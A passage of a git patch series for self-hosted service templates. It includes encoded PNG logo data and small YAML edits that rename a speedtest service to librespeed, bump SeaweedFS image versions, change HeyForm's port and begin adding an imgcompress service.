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 S>b#s2{)wB@$| literal 0 HcmV?d00001 From 1a8441b230935dbb3325965a1fd16e29f55408d6 Mon Sep 17 00:00:00 2001 From: Diogo Carvalho Date: Wed, 25 Feb 2026 23:28:20 +0000 Subject: [PATCH 04/51] Rename speedtest to librespeed --- templates/compose/{speedtest.yaml => librespeed.yaml} | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) rename templates/compose/{speedtest.yaml => librespeed.yaml} (72%) diff --git a/templates/compose/speedtest.yaml b/templates/compose/librespeed.yaml similarity index 72% rename from templates/compose/speedtest.yaml rename to templates/compose/librespeed.yaml index e0d915fe7..fae2650f9 100644 --- a/templates/compose/speedtest.yaml +++ b/templates/compose/librespeed.yaml @@ -1,16 +1,16 @@ # documentation: https://github.com/librespeed/speedtest -# slogan: Self-hosted Speed Test for HTML5 and more. +# slogan: Self-hosted lightweight Speed Test. # category: devtools # tags: speedtest, internet-speed -# logo: svgs/speedtest.svg +# logo: svgs/librespeed.svg # port: 82 services: - speedtest: - container_name: speedtest + librespeed: + container_name: librespeed image: 'ghcr.io/librespeed/speedtest:latest' environment: - - SERVICE_URL_SPEEDTEST_82 + - SERVICE_URL_LIBRESPEED_82 - MODE=standalone - TELEMETRY=false - DISTANCE=km From 34e9f97b79319ea8e09e286c9617ba405fa7d462 Mon Sep 17 00:00:00 2001 From: Diogo Carvalho Date: Wed, 25 Feb 2026 23:48:15 +0000 Subject: [PATCH 05/51] Fix logo format --- templates/compose/librespeed.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/librespeed.yaml b/templates/compose/librespeed.yaml index fae2650f9..6e53a3aff 100644 --- a/templates/compose/librespeed.yaml +++ b/templates/compose/librespeed.yaml @@ -2,7 +2,7 @@ # slogan: Self-hosted lightweight Speed Test. # category: devtools # tags: speedtest, internet-speed -# logo: svgs/librespeed.svg +# logo: svgs/librespeed.png # port: 82 services: From 45d991565e31a45c8bc41018f3123043a77886fa Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?F=C3=A1bio=20Henrique=20Ara=C3=BAjo?= Date: Mon, 2 Mar 2026 20:04:29 -0300 Subject: [PATCH 06/51] Update SeaweedFS images to version 4.13 --- templates/compose/seaweedfs.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/templates/compose/seaweedfs.yaml b/templates/compose/seaweedfs.yaml index d8b57906b..fabcca50d 100644 --- a/templates/compose/seaweedfs.yaml +++ b/templates/compose/seaweedfs.yaml @@ -7,7 +7,7 @@ services: seaweedfs-master: - image: chrislusf/seaweedfs:4.05 + image: chrislusf/seaweedfs:4.13 environment: - SERVICE_URL_S3_8333 - AWS_ACCESS_KEY_ID=${SERVICE_USER_S3} @@ -61,7 +61,7 @@ services: retries: 10 seaweedfs-admin: - image: chrislusf/seaweedfs:4.05 + image: chrislusf/seaweedfs:4.13 environment: - SERVICE_URL_ADMIN_23646 - SEAWEED_USER_ADMIN=${SERVICE_USER_ADMIN} From 01459df60dc9fcba95af190123aedb0f901f390a Mon Sep 17 00:00:00 2001 From: mufeng Date: Tue, 3 Mar 2026 17:57:00 +0800 Subject: [PATCH 07/51] fix(template): fix heyform template --- templates/compose/heyform.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/templates/compose/heyform.yaml b/templates/compose/heyform.yaml index f88a1efec..9afddf895 100644 --- a/templates/compose/heyform.yaml +++ b/templates/compose/heyform.yaml @@ -3,7 +3,7 @@ # category: productivity # tags: form, builder, forms, survey, quiz, open source, self-hosted, docker # logo: svgs/heyform.svg -# port: 8000 +# port: 9157 services: heyform: @@ -16,7 +16,7 @@ services: keydb: condition: service_healthy environment: - - SERVICE_URL_HEYFORM_8000 + - SERVICE_URL_HEYFORM_9157 - APP_HOMEPAGE_URL=${SERVICE_URL_HEYFORM} - SESSION_KEY=${SERVICE_BASE64_64_SESSION} - FORM_ENCRYPTION_KEY=${SERVICE_BASE64_64_FORM} @@ -25,7 +25,7 @@ services: - REDIS_PORT=6379 - REDIS_PASSWORD=${SERVICE_PASSWORD_KEYDB} healthcheck: - test: ["CMD-SHELL", "wget -qO- http://127.0.0.1:8000 || exit 1"] + test: ["CMD-SHELL", "wget -qO- http://127.0.0.1:9157 || exit 1"] interval: 5s timeout: 5s retries: 3 From 5585e68b38f775922efcdb73468c0a40a2e36a92 Mon Sep 17 00:00:00 2001 From: Ariq Pradipa Santoso Date: Wed, 4 Mar 2026 12:07:52 +0700 Subject: [PATCH 08/51] Add imgcompress service configuration for offline image processing - Introduced a new YAML configuration file for imgcompress service. - Configured the service with environment variables for customization. --- public/svgs/imgcompress.png | Bin 0 -> 94029 bytes templates/compose/imgcompress.yaml | 21 +++++++++++++++++++++ 2 files changed, 21 insertions(+) create mode 100644 public/svgs/imgcompress.png create mode 100644 templates/compose/imgcompress.yaml diff --git a/public/svgs/imgcompress.png b/public/svgs/imgcompress.png new file mode 100644 index 0000000000000000000000000000000000000000..9eb04c3a7a9630fcd5932d30851623d8a20e350b GIT binary patch literal 94029 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 